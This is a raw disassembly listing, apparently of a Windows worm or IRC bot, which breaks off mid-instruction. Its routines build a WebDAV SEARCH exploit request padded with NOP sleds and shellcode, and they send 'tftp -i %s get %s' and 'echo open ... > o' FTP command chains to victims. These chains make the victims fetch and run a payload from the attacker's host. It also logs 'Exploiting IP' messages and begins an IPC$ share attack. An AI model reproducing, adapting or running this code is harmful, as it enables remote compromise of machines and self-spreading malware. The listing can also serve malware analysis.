arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_4366A4 loc_412451: ; CODE XREF: sub_41243D+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_412473 test edi, edi jle short loc_412465 cmp [esi], edi jz short loc_412465 cmp ebx, edi jnz short loc_412473 loc_412465: ; CODE XREF: sub_41243D+1Ej ; sub_41243D+22j push ebx call sub_412383 test eax, eax pop ecx jz short loc_412473 inc [ebp+var_4] loc_412473: ; CODE XREF: sub_41243D+1Aj ; sub_41243D+26j ... add esi, 234h inc ebx cmp esi, offset dword_47B434 jl short loc_412451 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41243D endp ; =============== S U B R O U T I N E ======================================= sub_41248A proc near ; CODE XREF: sub_4010CA+Bp ; sub_401141+2Dp ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_4366A0 loc_412491: ; CODE XREF: sub_41248A+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_41249A inc eax loc_41249A: ; CODE XREF: sub_41248A+Dj add ecx, 234h cmp ecx, offset dword_47B430 jl short loc_412491 retn sub_41248A endp ; =============== S U B R O U T I N E ======================================= sub_4124A9 proc near ; CODE XREF: sub_4089DC+4572p arg_0 = dword ptr 4 xor eax, eax xor edx, edx mov ecx, offset dword_4366A0 push esi loc_4124B3: ; CODE XREF: sub_4124A9+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_4124CC add ecx, 234h inc edx cmp ecx, offset dword_47B430 jl short loc_4124B3 pop esi retn ; --------------------------------------------------------------------------- loc_4124CC: ; CODE XREF: sub_4124A9+10j mov eax, edx pop esi retn sub_4124A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4124D0 proc near ; CODE XREF: sub_4089DC:loc_40A899p ; sub_4089DC+4CB1p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_4124E9 push [ebp+arg_1C] call sub_4147A2 pop ecx loc_4124E9: ; CODE XREF: sub_4124D0+Ej push eax push [ebp+arg_18] call sub_41243D test eax, eax pop ecx pop ecx jle short loc_412515 push eax push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"... push eax call sub_414415 add esp, 14h jmp short loc_41252F ; --------------------------------------------------------------------------- loc_412515: ; CODE XREF: sub_4124D0+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s: No %s thread found." push eax call sub_414415 add esp, 10h loc_41252F: ; CODE XREF: sub_4124D0+43j cmp [ebp+arg_C], 0 jnz short loc_41254F push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4056BF add esp, 14h loc_41254F: ; CODE XREF: sub_4124D0+63j lea eax, [ebp+var_200] push eax call sub_401EFF pop ecx leave retn sub_4124D0 endp ; =============== S U B R O U T I N E ======================================= sub_41255E proc near ; CODE XREF: sub_401967+227p ; sub_401B9D+244p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] imul eax, 234h xor ecx, ecx mov dword_4366B4[eax], ecx mov dword_4366A0[eax], ecx mov dword_4366A4[eax], ecx mov dword_4366A8[eax], ecx mov dword_4366AC[eax], ecx mov dword_4366B0[eax], ecx mov byte ptr dword_4364A0[eax], cl mov byte_4366B8[eax], cl retn sub_41255E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_41259B proc near ; DATA XREF: sub_4089DC+4B05o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 98h mov eax, [ebp+74h+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+74h+var_98] rep movsd push [ebp+74h+var_10] mov dword ptr [eax+94h], 1 push [ebp+74h+var_C] lea eax, [ebp+74h+var_94] push eax push [ebp+74h+var_98] call sub_412305 push [ebp+74h+var_14] call sub_41255E add esp, 14h push 0 call ds:dword_420014 ; ExitThread int 3 ; Trap to Debugger sub_41259B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4125E5 proc near ; CODE XREF: sub_401967+1F8p ; DATA XREF: .data:off_42B06Co var_1210 = byte ptr -1210h var_11AC = byte ptr -11ACh var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_98 = byte ptr 0A0h arg_124 = dword ptr 12Ch arg_12C = dword ptr 134h arg_134 = dword ptr 13Ch arg_138 = dword ptr 140h push ebp mov ebp, esp mov eax, 1210h call sub_414630 push 6 push 1 push 2 call dword_435808 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_41260A xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_41260A: ; CODE XREF: sub_4125E5+1Fj push ebx push esi push edi push [ebp+arg_124] call dword_435954 ; htons lea eax, [ebp+arg_4] push eax call dword_43587C ; inet_addr push 186A0h call sub_414CAD mov edi, 1000h push edi mov ebx, eax call sub_414CAD pop ecx pop ecx push offset byte_42BF4C push [ebp+arg_0] mov esi, eax mov [ebp+var_C], esi call sub_407D15 pop ecx push eax push edi push esi call sub_410C5C add esp, 10h test eax, eax mov [ebp+var_8], eax jnz short loc_41267F push ebx call sub_414844 push esi call sub_414844 pop ecx pop ecx push [ebp+var_10] loc_412672: ; CODE XREF: sub_4125E5+27Bj call dword_435914 ; closesocket xor eax, eax jmp loc_4128FF ; --------------------------------------------------------------------------- loc_41267F: ; CODE XREF: sub_4125E5+7Aj push 19h mov eax, 90909090h pop ecx lea edi, [ebp+var_1210] rep stosd mov ecx, [ebp+var_8] mov eax, ecx shr ecx, 2 lea edi, [ebp+var_11AC] rep movsd mov ecx, eax and ecx, 3 rep movsb xor eax, eax mov ecx, 61A8h mov edi, ebx rep stosd mov esi, offset aSearch ; "SEARCH /" mov edi, ebx movsd movsd mov eax, ebx movsb lea esi, [eax+1] loc_4126C0: ; CODE XREF: sub_4125E5+E0j mov cl, [eax] inc eax test cl, cl jnz short loc_4126C0 sub eax, esi mov esi, eax lea edx, [esi+1] lea eax, [esi+866h] cmp edx, eax mov byte ptr [esi+ebx], 90h jnb short loc_4126FE sub eax, edx dec eax shr eax, 1 inc eax mov ecx, eax mov [ebp+var_4], ecx shr ecx, 1 lea edi, [edx+ebx] mov eax, 0B102B102h rep stosd adc ecx, ecx rep stosw mov eax, [ebp+var_4] lea edx, [edx+eax*2] loc_4126FE: ; CODE XREF: sub_4125E5+F5j mov eax, offset loc_42C490 mov edi, eax lea ecx, [edi+1] mov [ebp+var_4], ecx loc_41270B: ; CODE XREF: sub_4125E5+12Bj mov cl, [edi] inc edi test cl, cl jnz short loc_41270B sub edi, [ebp+var_4] jmp short loc_41272C ; --------------------------------------------------------------------------- loc_412717: ; CODE XREF: sub_4125E5+155j lea ecx, [edi+1] mov byte ptr [edx+ebx], 90h inc edx mov [ebp+var_4], ecx loc_412722: ; CODE XREF: sub_4125E5+142j mov cl, [edi] inc edi test cl, cl jnz short loc_412722 sub edi, [ebp+var_4] loc_41272C: ; CODE XREF: sub_4125E5+130j mov ecx, esi sub ecx, edi add ecx, 0FFFFh cmp edx, ecx mov edi, eax jb short loc_412717 lea esi, [edi+1] loc_41273F: ; CODE XREF: sub_4125E5+15Fj mov cl, [edi] inc edi test cl, cl jnz short loc_41273F sub edi, esi mov ecx, edi mov esi, eax mov eax, ecx shr ecx, 2 lea edi, [edx+ebx] rep movsd mov ecx, eax and ecx, 3 rep movsb mov edi, ebx dec edi loc_412760: ; CODE XREF: sub_4125E5+181j mov al, [edi+1] inc edi test al, al jnz short loc_412760 mov esi, offset aHttp1_1 ; " HTTP/1.1\r\n" movsd movsd movsd mov esi, offset a?xmlVersion1_0 ; "<?xml version=\"1.0\"?>\r\n<g:searchrequest"... mov eax, esi lea edi, [eax+1] loc_41277A: ; CODE XREF: sub_4125E5+19Aj mov cl, [eax] inc eax test cl, cl jnz short loc_41277A sub eax, edi mov edi, eax mov eax, ebx lea ecx, [eax+1] loc_41278A: ; CODE XREF: sub_4125E5+1AAj mov dl, [eax] inc eax test dl, dl jnz short loc_41278A sub eax, ecx mov ecx, [ebp+var_8] add edi, ecx push edi lea ecx, [ebp+arg_4] push ecx add eax, ebx push offset aHostSContentTy ; "Host: %s\r\nContent-Type: text/xml\r\nConte"... push eax call sub_414415 add esp, 10h mov eax, esi loc_4127AF: ; CODE XREF: sub_4125E5+1CFj mov cl, [eax] inc eax test cl, cl jnz short loc_4127AF mov edi, ebx sub eax, esi dec edi loc_4127BB: ; CODE XREF: sub_4125E5+1DCj mov cl, [edi+1] inc edi test cl, cl jnz short loc_4127BB mov ecx, eax shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 mov eax, ebx rep movsb lea esi, [eax+1] loc_4127D6: ; CODE XREF: sub_4125E5+1F6j mov cl, [eax] inc eax test cl, cl jnz short loc_4127D6 sub eax, esi mov ecx, eax mov eax, 1010101h lea edi, [ecx+ebx] stosb mov eax, ebx lea esi, [eax+1] loc_4127EF: ; CODE XREF: sub_4125E5+20Fj mov cl, [eax] inc eax test cl, cl jnz short loc_4127EF sub eax, esi mov ecx, eax mov eax, 90909090h lea edi, [ecx+ebx] stosw stosb mov eax, ebx lea esi, [eax+1] loc_41280A: ; CODE XREF: sub_4125E5+22Aj mov cl, [eax] inc eax test cl, cl jnz short loc_41280A mov ecx, [ebp+var_8] sub eax, esi lea edi, [eax+ebx] mov eax, ecx shr ecx, 2 lea esi, [ebp+var_1210] rep movsd mov ecx, eax and ecx, 3 mov eax, ebx rep movsb lea esi, [eax+1] loc_412832: ; CODE XREF: sub_4125E5+252j mov cl, [eax] inc eax test cl, cl jnz short loc_412832 sub eax, esi mov esi, [ebp+var_10] xor edi, edi push edi push eax push ebx push esi call dword_43589C ; send cmp eax, 0FFFFFFFFh jnz short loc_412865 push ebx call sub_414844 push [ebp+var_C] call sub_414844 pop ecx pop ecx push esi jmp loc_412672 ; --------------------------------------------------------------------------- loc_412865: ; CODE XREF: sub_4125E5+268j push edi push 1388h push ebx push esi call dword_43577C ; recv push ebx call sub_414844 push [ebp+var_C] call sub_414844 pop ecx pop ecx push esi call dword_435914 ; closesocket lea eax, [ebp+arg_4] push eax mov eax, [ebp+arg_12C] imul eax, 3Ch add eax, offset aWebdav_0 ; "WebDav" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp+var_210] push 200h push eax call sub_41466D add esp, 14h cmp [ebp+arg_138], edi jnz short loc_4128DE push edi push [ebp+arg_134] lea eax, [ebp+var_210] push eax lea eax, [ebp+arg_98] push eax push [ebp+arg_0] call sub_4056BF add esp, 14h loc_4128DE: ; CODE XREF: sub_4125E5+2D7j lea eax, [ebp+var_210] push eax call sub_401EFF mov eax, [ebp+arg_12C] imul eax, 3Ch lea eax, dword_42B070[eax] inc dword ptr [eax] xor eax, eax pop ecx inc eax loc_4128FF: ; CODE XREF: sub_4125E5+95j pop edi pop esi pop ebx leave retn sub_4125E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412904 proc near ; CODE XREF: sub_412998+41p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] mov ecx, [edx] push edi xor edi, edi and [ebp+var_8], edi xor eax, eax inc eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_412925 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_412925: ; CODE XREF: sub_412904+19j push ebx push esi loc_412927: ; CODE XREF: sub_412904+77j mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_412935 cmp [ebp+var_4], eax jnz short loc_41297D loc_412935: ; CODE XREF: sub_412904+2Aj test edi, edi jnz short loc_412972 cmp bl, 2Dh jnz short loc_412966 lea esi, [ecx+1] mov cl, [ecx-1] mov al, [esi] cmp cl, al jge short loc_412966 cmp al, 5Dh jz short loc_412966 cmp [ebp+var_4], edi jnz short loc_412966 mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_412972 cmp bl, al jg short loc_412972 mov [edx], esi jmp short loc_41296F ; --------------------------------------------------------------------------- loc_412966: ; CODE XREF: sub_412904+38j ; sub_412904+44j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_412972 loc_41296F: ; CODE XREF: sub_412904+60j xor edi, edi inc edi loc_412972: ; CODE XREF: sub_412904+33j ; sub_412904+58j ... inc dword ptr [edx] and [ebp+var_4], 0 xor eax, eax inc eax jmp short loc_412927 ; --------------------------------------------------------------------------- loc_41297D: ; CODE XREF: sub_412904+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_41298A mov ecx, eax sub ecx, edi mov edi, ecx loc_41298A: ; CODE XREF: sub_412904+7Ej cmp edi, eax jnz short loc_412993 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_412993: ; CODE XREF: sub_412904+88j mov eax, edi pop edi leave retn sub_412904 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412998 proc near ; CODE XREF: sub_4089DC+5BACp ; sub_412A2C+65p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor eax, eax push esi mov esi, [ebp+arg_0] inc eax jmp short loc_4129FA ; --------------------------------------------------------------------------- loc_4129A4: ; CODE XREF: sub_412998+66j cmp eax, 1 jnz short loc_412A0B mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_412A0B cmp cl, 2Ah jz short loc_4129E3 cmp cl, 3Fh jz short loc_4129C8 cmp cl, 5Bh jz short loc_4129CD xor eax, eax cmp cl, dl setz al loc_4129C8: ; CODE XREF: sub_412998+22j inc [ebp+arg_4] jmp short loc_4129F6 ; --------------------------------------------------------------------------- loc_4129CD: ; CODE XREF: sub_412998+27j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] inc esi push eax mov [ebp+arg_0], esi call sub_412904 mov esi, [ebp+arg_0] jmp short loc_4129F4 ; --------------------------------------------------------------------------- loc_4129E3: ; CODE XREF: sub_412998+1Dj lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_412A2C mov esi, [ebp+arg_0] dec esi loc_4129F4: ; CODE XREF: sub_412998+49j pop ecx pop ecx loc_4129F6: ; CODE XREF: sub_412998+33j inc esi mov [ebp+arg_0], esi loc_4129FA: ; CODE XREF: sub_412998+Aj mov cl, [esi] test cl, cl jnz short loc_4129A4 jmp short loc_412A0B ; --------------------------------------------------------------------------- loc_412A02: ; CODE XREF: sub_412998+76j cmp eax, 1 jnz short loc_412A27 inc esi mov [ebp+arg_0], esi loc_412A0B: ; CODE XREF: sub_412998+Fj ; sub_412998+18j ... cmp byte ptr [esi], 2Ah jz short loc_412A02 cmp eax, 1 jnz short loc_412A27 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_412A27 cmp byte ptr [esi], 0 jnz short loc_412A27 xor eax, eax inc eax jmp short loc_412A29 ; --------------------------------------------------------------------------- loc_412A27: ; CODE XREF: sub_412998+6Dj ; sub_412998+7Bj ... xor eax, eax loc_412A29: ; CODE XREF: sub_412998+8Dj pop esi pop ebp retn sub_412998 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412A2C proc near ; CODE XREF: sub_412998+53p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] inc dword ptr [esi] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 xor ebx, ebx jmp short loc_412A5B ; --------------------------------------------------------------------------- loc_412A46: ; CODE XREF: sub_412A2C+35j mov cl, [eax] cmp cl, 3Fh jz short loc_412A57 cmp cl, 2Ah jnz short loc_412A63 cmp cl, 3Fh jnz short loc_412A59 loc_412A57: ; CODE XREF: sub_412A2C+1Fj inc dword ptr [edi] loc_412A59: ; CODE XREF: sub_412A2C+29j inc dword ptr [esi] loc_412A5B: ; CODE XREF: sub_412A2C+18j mov ecx, [edi] cmp [ecx], bl mov eax, [esi] jnz short loc_412A46 loc_412A63: ; CODE XREF: sub_412A2C+24j cmp byte ptr [eax], 2Ah jnz short loc_412A72 loc_412A68: ; CODE XREF: sub_412A2C+44j inc eax mov ecx, eax mov [esi], eax cmp byte ptr [ecx], 2Ah jz short loc_412A68 loc_412A72: ; CODE XREF: sub_412A2C+3Aj mov ecx, [edi] mov dl, [ecx] cmp dl, bl jnz short loc_412A8F cmp [eax], bl jz short loc_412A82 xor eax, eax jmp short loc_412AF4 ; --------------------------------------------------------------------------- loc_412A82: ; CODE XREF: sub_412A2C+50j cmp dl, bl jnz short loc_412A8F cmp [eax], bl jnz short loc_412A8F xor eax, eax inc eax jmp short loc_412AF4 ; --------------------------------------------------------------------------- loc_412A8F: ; CODE XREF: sub_412A2C+4Cj ; sub_412A2C+58j ... push ecx push eax call sub_412998 test eax, eax pop ecx pop ecx jnz short loc_412ADE loc_412A9C: ; CODE XREF: sub_412A2C+B0j inc dword ptr [edi] mov ecx, [esi] mov eax, [edi] mov cl, [ecx] cmp cl, [eax] jz short loc_412AC0 loc_412AA8: ; CODE XREF: sub_412A2C+92j mov ecx, [esi] cmp byte ptr [ecx], 5Bh jz short loc_412AC0 cmp [eax], bl jz short loc_412AD5 inc eax mov [edi], eax mov ecx, [esi] mov cl, [ecx] mov edx, eax cmp cl, [edx] jnz short loc_412AA8 loc_412AC0: ; CODE XREF: sub_412A2C+7Aj ; sub_412A2C+81j cmp [eax], bl jz short loc_412AD5 push eax push dword ptr [esi] call sub_412998 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_412ADA ; --------------------------------------------------------------------------- loc_412AD5: ; CODE XREF: sub_412A2C+85j ; sub_412A2C+96j mov [ebp+var_4], ebx xor eax, eax loc_412ADA: ; CODE XREF: sub_412A2C+A7j cmp eax, ebx jnz short loc_412A9C loc_412ADE: ; CODE XREF: sub_412A2C+6Ej mov eax, [edi] cmp [eax], bl jnz short loc_412AF1 mov eax, [esi] cmp [eax], bl jnz short loc_412AF1 mov [ebp+var_4], 1 loc_412AF1: ; CODE XREF: sub_412A2C+B6j ; sub_412A2C+BCj mov eax, [ebp+var_4] loc_412AF4: ; CODE XREF: sub_412A2C+54j ; sub_412A2C+61j pop edi pop esi pop ebx leave retn sub_412A2C endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 3D4h and dword ptr [ebp-10h], 0 push ebx push esi push edi mov esi, offset dword_428AC0 lea edi, [ebp-24h] movsd movsd movsd movsd push 15Bh movsw mov dword ptr [ebp-44h], 6741A1CDh mov dword ptr [ebp-40h], 6741A199h mov dword ptr [ebp-3Ch], 6741A426h mov dword ptr [ebp-38h], 67419E1Dh mov dword ptr [ebp-34h], 67419CE8h mov dword ptr [ebp-30h], 0FFB7DE9h mov dword ptr [ebp-2Ch], 0FFB832Fh call sub_414CAD pop ecx mov edi, eax mov [ebp-4], edi push 56h xor eax, eax pop ecx rep stosd stosw stosb mov ecx, [ebp-4] mov edi, ecx lea esi, [ebp-24h] movsd movsd movsd movsd add ecx, 11h movsw mov edi, ecx mov [ebp-28h], ecx dec edi loc_412B79: ; CODE XREF: .text:00412B7Fj mov al, [edi+1] inc edi test al, al jnz short loc_412B79 mov esi, offset loc_428ABC movsw movsb mov edi, ecx dec edi loc_412B8C: ; CODE XREF: .text:00412B92j mov al, [edi+1] inc edi test al, al jnz short loc_412B8C mov esi, offset aNilsisgay ; "NILSISGAY!!" movsd push 6 movsd push 1 push 2 movsd call dword_435808 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_412DD6 and dword ptr [ebp-8], 0 lea esi, [ebp-44h] mov [ebp-0Ch], esi loc_412BBD: ; CODE XREF: .text:00412D61j xor eax, eax lea edi, [ebp-24h] stosd stosd stosd stosd lea eax, [ebp+0Ch] push eax mov word ptr [ebp-24h], 2 call dword_43587C ; inet_addr push dword ptr [ebp+12Ch] mov [ebp-20h], eax call dword_435954 ; htons mov [ebp-22h], ax push 10h lea eax, [ebp-24h] push eax push ebx call dword_4357C0 ; connect cmp eax, 0FFFFFFFFh jz loc_412D4D mov edi, [ebp-28h] not dword ptr [esi] push 4 push esi push edi call sub_4142E0 mov eax, offset loc_42B248 add esp, 0Ch mov ecx, eax loc_412C17: ; CODE XREF: .text:00412C1Cj mov dl, [eax] inc eax test dl, dl jnz short loc_412C17 sub eax, ecx mov esi, ecx dec edi loc_412C23: ; CODE XREF: .text:00412C29j mov cl, [edi+1] inc edi test cl, cl jnz short loc_412C23 mov ecx, eax shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 lea eax, [ebp-4] rep movsb lea ecx, [eax+1] loc_412C3F: ; CODE XREF: .text:00412C44j mov dl, [eax] inc eax test dl, dl jnz short loc_412C3F push 0 sub eax, ecx push eax lea eax, [ebp-4] push eax push ebx call dword_43589C ; send test eax, eax jz loc_412D4A mov esi, ds:dword_420000 push 3E8h call esi ; Sleep push ebx call dword_435914 ; closesocket xor eax, eax lea edi, [ebp-24h] stosd stosd stosd stosd lea eax, [ebp+0Ch] push eax mov word ptr [ebp-24h], 2 call dword_43587C ; inet_addr push 7BDh mov [ebp-20h], eax call dword_435954 ; htons mov [ebp-22h], ax push 10h lea eax, [ebp-24h] push eax push ebx call dword_4357C0 ; connect test eax, eax jz loc_412D4A mov eax, offset byte_42BF4C push eax push eax push dword ptr [ebp+8] call sub_407D15 pop ecx push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" mov edi, 190h lea eax, [ebp-1D4h] push edi push eax call sub_41466D add esp, 18h push dword_43535C push dword ptr [ebp+8] call sub_407D15 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp-1D4h] push edi push eax call sub_41466D add esp, 14h push 0 add edi, 70h push edi lea eax, [ebp-3D4h] push eax push dword ptr [ebp+8] call dword_43577C ; recv test eax, eax jle short loc_412D4A push 1F4h call esi ; Sleep lea eax, [ebp-1D4h] lea edx, [eax+1] loc_412D2C: ; CODE XREF: .text:00412D31j mov cl, [eax] inc eax test cl, cl jnz short loc_412D2C push 0 sub eax, edx push eax lea eax, [ebp-1D4h] push eax push ebx call dword_43589C ; send test eax, eax jg short loc_412D69 loc_412D4A: ; CODE XREF: .text:00412C58j ; .text:00412CACj ... mov esi, [ebp-0Ch] loc_412D4D: ; CODE XREF: .text:00412BF9j push ebx call dword_435914 ; closesocket inc dword ptr [ebp-8] add esi, 4 cmp dword ptr [ebp-8], 7 mov [ebp-0Ch], esi jb loc_412BBD jmp short loc_412DD6 ; --------------------------------------------------------------------------- loc_412D69: ; CODE XREF: .text:00412D48j push ebx call dword_435914 ; closesocket lea eax, [ebp+0Ch] push eax mov eax, [ebp+134h] imul eax, 3Ch add eax, offset aWebdav_0 ; "WebDav" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp-3D4h] push edi push eax mov dword ptr [ebp-10h], 1 call sub_41466D add esp, 14h cmp dword ptr [ebp+140h], 0 jnz short loc_412DC9 push 0 push dword ptr [ebp+13Ch] lea eax, [ebp-3D4h] push eax lea eax, [ebp+0A0h] push eax push dword ptr [ebp+8] call sub_4056BF add esp, 14h loc_412DC9: ; CODE XREF: .text:00412DA6j lea eax, [ebp-3D4h] push eax call sub_401EFF pop ecx loc_412DD6: ; CODE XREF: .text:00412BADj ; .text:00412D67j mov eax, [ebp-10h] pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412DDE proc near ; CODE XREF: sub_412F21+3F8p var_5A4 = byte ptr -5A4h var_1A4 = byte ptr -1A4h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_4 = byte ptr 0Ch arg_14 = byte ptr 1Ch arg_94 = dword ptr 9Ch push ebp mov ebp, esp sub esp, 5A4h push ebx push esi push edi xor eax, eax lea edi, [ebp+var_14] stosd stosd stosd stosd lea eax, [ebp+arg_4] push eax mov [ebp+var_14], 2 call dword_43587C ; inet_addr mov [ebp+var_10], eax xor eax, eax mov ax, word_42CE28 push eax call dword_435954 ; htons xor ebx, ebx push ebx push 1 push 2 mov [ebp+var_12], ax call dword_435808 ; socket mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp+var_4], esi jnz short loc_412E37 xor al, al jmp loc_412F1C ; --------------------------------------------------------------------------- loc_412E37: ; CODE XREF: sub_412DDE+50j push 10h lea eax, [ebp+var_14] push eax push esi call dword_4357C0 ; connect cmp eax, 0FFFFFFFFh jz loc_412F11 push ebx mov edi, 400h push edi lea eax, [ebp+var_5A4] push eax push esi call dword_43577C ; recv push [ebp+arg_94] lea eax, [ebp+arg_14] push eax push offset aEchoOpenSDOE_0 ; "echo open %s %d>o&echo USER a>>o&echo a"... mov esi, 190h lea eax, [ebp+var_1A4] push esi push eax call sub_41466D lea eax, [ebp+var_1A4] add esp, 14h lea ecx, [eax+1] loc_412E8F: ; CODE XREF: sub_412DDE+B6j mov dl, [eax] inc eax cmp dl, bl jnz short loc_412E8F push ebx sub eax, ecx push eax lea eax, [ebp+var_1A4] push eax push [ebp+var_4] call dword_43589C ; send cmp eax, 0FFFFFFFFh jz short loc_412F11 push 1F4h call ds:dword_420000 ; Sleep push offset byte_42BF4C push offset aS_5 ; "%s\r\n" lea eax, [ebp+var_1A4] push esi push eax call sub_41466D lea eax, [ebp+var_1A4] add esp, 10h lea edx, [eax+1] loc_412EDD: ; CODE XREF: sub_412DDE+104j mov cl, [eax] inc eax cmp cl, bl jnz short loc_412EDD push ebx sub eax, edx push eax lea eax, [ebp+var_1A4] push eax push [ebp+var_4] call dword_43589C ; send cmp eax, 0FFFFFFFFh jz short loc_412F11 push ebx push edi lea eax, [ebp+var_5A4] push eax push [ebp+var_4] call dword_43577C ; recv mov bl, 1 loc_412F11: ; CODE XREF: sub_412DDE+69j ; sub_412DDE+CFj ... push [ebp+var_4] call dword_435914 ; closesocket mov al, bl loc_412F1C: ; CODE XREF: sub_412DDE+54j pop edi pop esi pop ebx leave retn sub_412DDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412F21 proc near ; CODE XREF: .text:00413448p ; .text:0041346Ap var_81DC = byte ptr -81DCh var_8174 = byte ptr -8174h var_6104 = byte ptr -6104h var_6094 = byte ptr -6094h var_55D0 = byte ptr -55D0h var_402C = byte ptr -402Ch var_402B = byte ptr -402Bh var_2F98 = byte ptr -2F98h var_24D4 = byte ptr -24D4h var_24D3 = byte ptr -24D3h var_24D0 = byte ptr -24D0h var_2454 = byte ptr -2454h var_1C84 = byte ptr -1C84h var_17D9 = byte ptr -17D9h var_14EC = byte ptr -14ECh var_EAC = byte ptr -0EACh var_8D0 = byte ptr -8D0h var_830 = byte ptr -830h var_6C8 = dword ptr -6C8h var_6B8 = byte ptr -6B8h var_394 = dword ptr -394h var_390 = dword ptr -390h var_384 = byte ptr -384h var_124 = dword ptr -124h var_114 = byte ptr -114h var_FC = byte ptr -0FCh var_FB = byte ptr -0FBh var_AC = byte ptr -0ACh var_A9 = byte ptr -0A9h var_7F = byte ptr -7Fh var_7D = byte ptr -7Dh var_7C = byte ptr -7Ch var_34 = byte ptr -34h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_140 = dword ptr 148h arg_144 = dword ptr 14Ch push ebp mov ebp, esp mov eax, 81DCh call sub_414630 mov eax, ds:dword_428B6C push ebx mov [ebp+var_C], eax mov eax, ds:dword_428B70 push esi mov [ebp+var_8], eax push edi lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_34] push offset aSIpc ; "\\\\%s\\ipc$" push eax loc_412F4E: ; DATA XREF: .rdata:off_42872Co call sub_414415 add esp, 0Ch xor eax, eax loc_412F58: ; CODE XREF: sub_412F21+4Ej mov cl, [ebp+eax+var_34] and [ebp+eax*2+var_FB], 0 mov [ebp+eax*2+var_FC], cl inc eax cmp eax, 28h jl short loc_412F58 push 18h pop ecx mov esi, offset dword_42CA20 lea edi, [ebp+var_AC] lea eax, [ebp+var_34] rep movsd lea edx, [eax+1] loc_412F87: ; CODE XREF: sub_412F21+6Bj mov cl, [eax] inc eax test cl, cl jnz short loc_412F87 sub eax, edx mov ecx, eax lea esi, [ebp+var_FC] lea edi, [ebp+var_7C] lea eax, [ebp+var_34] rep movsw lea ecx, [eax+1] loc_412FA4: ; CODE XREF: sub_412F21+88j mov dl, [eax] inc eax test dl, dl jnz short loc_412FA4 sub eax, ecx lea edi, [ebp+eax*2+var_7D] mov esi, (offset aC_4+3) movsd movsd lea eax, [ebp+var_34] movsb lea ecx, [eax+1] loc_412FBF: ; CODE XREF: sub_412F21+A3j mov dl, [eax] inc eax test dl, dl jnz 